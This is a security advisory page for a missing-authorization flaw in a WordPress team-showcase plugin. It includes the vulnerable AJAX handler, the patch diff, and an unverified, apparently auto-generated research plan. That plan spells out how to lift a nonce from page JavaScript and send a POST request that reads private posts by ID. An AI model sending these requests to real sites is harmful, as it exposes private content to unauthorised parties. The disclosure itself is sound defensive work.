CVE-2026-25026

Team – Team Members Showcase Plugin <= 5.0.11 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
5.0.12
Patched in
11d
Time to patch

Description

The Team – Team Members Showcase Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 5.0.11. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.0.11
PublishedMarch 23, 2026
Last updatedApril 2, 2026
Affected plugintlp-team

What Changed in the Fix

Changes introduced in v5.0.12

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-25026 - Missing Authorization in Team Members Showcase Plugin ## 1. Vulnerability Summary The **Team – Team Members Showcase Plugin** (up to version 5.0.11) is vulnerable to **Missing Authorization** and **Insecure Direct Object Reference (IDOR)**. The AJAX handler `tlp_te…

Show full research plan

Research Plan: CVE-2026-25026 - Missing Authorization in Team Members Showcase Plugin

1. Vulnerability Summary

The Team – Team Members Showcase Plugin (up to version 5.0.11) is vulnerable to Missing Authorization and Insecure Direct Object Reference (IDOR). The AJAX handler tlp_team_smart_popup, registered for both authenticated and unauthenticated users, fails to validate the id parameter. Specifically, it does not check if the requested ID belongs to the expected team post type or if the user has permission to view the content of that specific ID.

This allows an unauthenticated attacker to retrieve the content and metadata of arbitrary posts (including private posts, pages, or sensitive metadata from other plugins) by providing their numeric ID.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: tlp_team_smart_popup
  • Vulnerable Parameter: id (The ID of the post to retrieve)
  • Nonce Parameter: rt_nonce (verified via Fns::getNonce())
  • Authentication: Unauthenticated (via wp_ajax_nopriv_tlp_team_smart_popup)
  • Preconditions:
    1. The plugin must be active.
    2. An attacker needs a valid WordPress nonce for the tlp-team-nonce action (obtainable from any page rendering a Team shortcode).
    3. The attacker needs to guess or discover the ID of a target private post/page.

3. Code Flow

  1. Entry Point: The plugin registers the AJAX actions in app/Controllers/Frontend/Ajax/SmartPopup.php:
    add_action( 'wp_ajax_tlp_team_smart_popup', [ $this, 'response' ] );
    add_action( 'wp_ajax_nopriv_tlp_team_smart_popup', [ $this, 'response' ] );
    
  2. Nonce Check: The response() method first verifies a nonce:
    if ( ! wp_verify_nonce( Fns::getNonce(), Fns::nonceText() ) ) { ... }
    
  3. Object Retrieval: It then fetches a post object directly from the user-supplied id:
    $post = get_post( absint( $_REQUEST['id'] ) );
    setup_postdata( $post );
    
  4. Data Extraction: It extracts the post title and content:
    $name = $post->post_title;
    $tlp_member_content = wpautop( get_the_content() );
    
    Note: get_the_content() inside setup_postdata will return the content of the post object even if it is private, as long as the object was successfully retrieved by ID.
  5. Metadata Leakage: It also attempts to fetch various meta fields (e.g., email, telephone, ttp_my_resume). While these are specific to the "team" type, an attacker can also see the main content of any post type.
  6. Response: The gathered data is returned in a JSON response:
    wp_send_json( [ 'data' => wp_kses_post( $html ), ... ] );
    

4. Nonce Acquisition Strategy

The plugin enqueues its scripts and localizes the required nonce on pages where the team showcase is displayed.

  • Trigger: The shortcode [tlpteam] (as inferred from README.txt).
  • JS Variable: rt_team_ajax (standard for RadiusTheme/TLP plugins).
  • Nonce Key: rt_nonce.
  • Extraction Steps:
    1. Create a "Team Member" post so the shortcode has something to render.
    2. Create a public page containing the [tlpteam] shortcode.
    3. Use the browser_navigate tool to visit that page.
    4. Use browser_eval to extract the nonce: window.rt_team_ajax?.rt_nonce.

5. Exploitation Strategy

  1. Target Identification: Determine the ID of a private post or page (e.g., ID 123).
  2. AJAX Request: Use the http_request tool to send a POST request to admin-ajax.php.
    • Method: POST
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=tlp_team_smart_popup&id=123&rt_nonce=[EXTRACTED_NONCE]
      
  3. Response Parsing: Check the data field in the JSON response for the title and content of the private post.

6. Test Data Setup

  1. Target Content: Create a private post containing sensitive information:
    wp post create --post_type=post --post_title="Confidential Internal Note" --post_content="The secret password is: Flag{IDOR_DATA_LEAK}" --post_status=private
    # Note the returned ID (e.g., 5)
    
  2. Plugin Setup: Create a dummy team member to ensure shortcode functionality:
    wp post create --post_type=team --post_title="Visible Member" --post_status=publish
    
  3. Nonce Page: Create a page to expose the nonce:
    wp post create --post_type=page --post_title="Team Showcase" --post_content='[tlpteam]' --post_status=publish
    

7. Expected Results

  • The AJAX response should have a success: true status.
  • The data property in the JSON response will contain the HTML markup including the string: "The secret password is: Flag{IDOR_DATA_LEAK}".
  • This confirms that an unauthenticated user accessed the content of a private post via the vulnerable AJAX endpoint.

8. Verification Steps

  1. Execute the HTTP request as described in Section 5.
  2. Verify the response contains the content of the private post created in Section 6.
  3. To confirm the vulnerability is due to missing type checks, attempt to retrieve the content of a page or a shop_order (if WooCommerce is present) by ID.

9. Alternative Approaches

  • Metadata Enumeration: If the target post is a "Team" member but set to private/draft, the exploit can leak their email, telephone, and location meta fields even if they aren't published.
  • Parameter Variation: If rt_nonce fails, check if the plugin falls back to _wpnonce by inspecting the Fns::getNonce() logic (if accessible) or trying _wpnonce in the request body.
  • Different Layouts: If the [tlpteam] shortcode doesn't load the script, try more specific variants mentioned in the README like [tlpteam layout="layout1"].
Research Findings
Static analysis — not yet PoC-verified

Summary

The Team – Team Members Showcase Plugin is vulnerable to unauthorized data disclosure due to a lack of authorization and post-status validation in its AJAX popup handler. Unauthenticated attackers can exploit this to retrieve the title, content, and metadata of any WordPress post or page, including those set to private or belonging to other post types, by supplying a numeric post ID.

Vulnerable Code

// app/Controllers/Frontend/Ajax/SmartPopup.php lines 38-55
public function response() {
    $html    = $htmlCInfo = null;
    $success = false;
    $error   = true;
    if ( ! wp_verify_nonce( Fns::getNonce(), Fns::nonceText() ) ) {
        wp_send_json_error( [
            'data'  => __('Security Issue','tlp-team'),
            'error' => $error,
        ] );
    }
    if ( ! empty( $_REQUEST['id'] ) ) {
        global $post;
        $post = get_post( absint( $_REQUEST['id'] ) );
        setup_postdata( $post );
        $settings     = get_option( rttlp_team()->options['settings'] );
        $resume_btn_text = isset( $settings['resume_btn_text'] ) ? $settings['resume_btn_text'] : "Resume";

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/tlp-team/5.0.11/app/Controllers/Frontend/Ajax/SmartPopup.php	2025-12-09 12:12:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/tlp-team/5.0.12/app/Controllers/Frontend/Ajax/SmartPopup.php	2026-01-21 08:39:08.000000000 +0000
@@ -45,6 +45,14 @@
 				'error' => $error,
 			] );
 		}
+
+        $member_post = get_post(absint($_REQUEST['id']) );
+        if (
+            !$member_post ||
+            $member_post->post_type !== rttlp_team()->post_type ||
+            $member_post->post_status !== 'publish'
+        ) {
+            wp_send_json_error(array('error' => __('Unauthorized or member not found','tlp-team')), 403);
+        }
+
 		if ( ! empty( $_REQUEST['id'] ) ) {
 			global $post;
 			$post = get_post( absint( $_REQUEST['id'] ) );

Exploit Outline

1. Locate a public page on the target site that uses the plugin's team showcase (e.g., via the `[tlpteam]` shortcode) to extract a valid nonce. 2. Extract the security nonce from the global JavaScript object `rt_team_ajax.rt_nonce` found in the page source. 3. Identify the target post ID (e.g., a private post or sensitive page) via enumeration or discovery. 4. Send a POST request to `/wp-admin/admin-ajax.php` with the action set to `tlp_team_smart_popup`, the `id` parameter set to the target post ID, and the `rt_nonce` parameter set to the extracted nonce. 5. The server will respond with a JSON object where the `data` field contains the rendered HTML of the targeted post, revealing its title and content regardless of its visibility status or post type.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.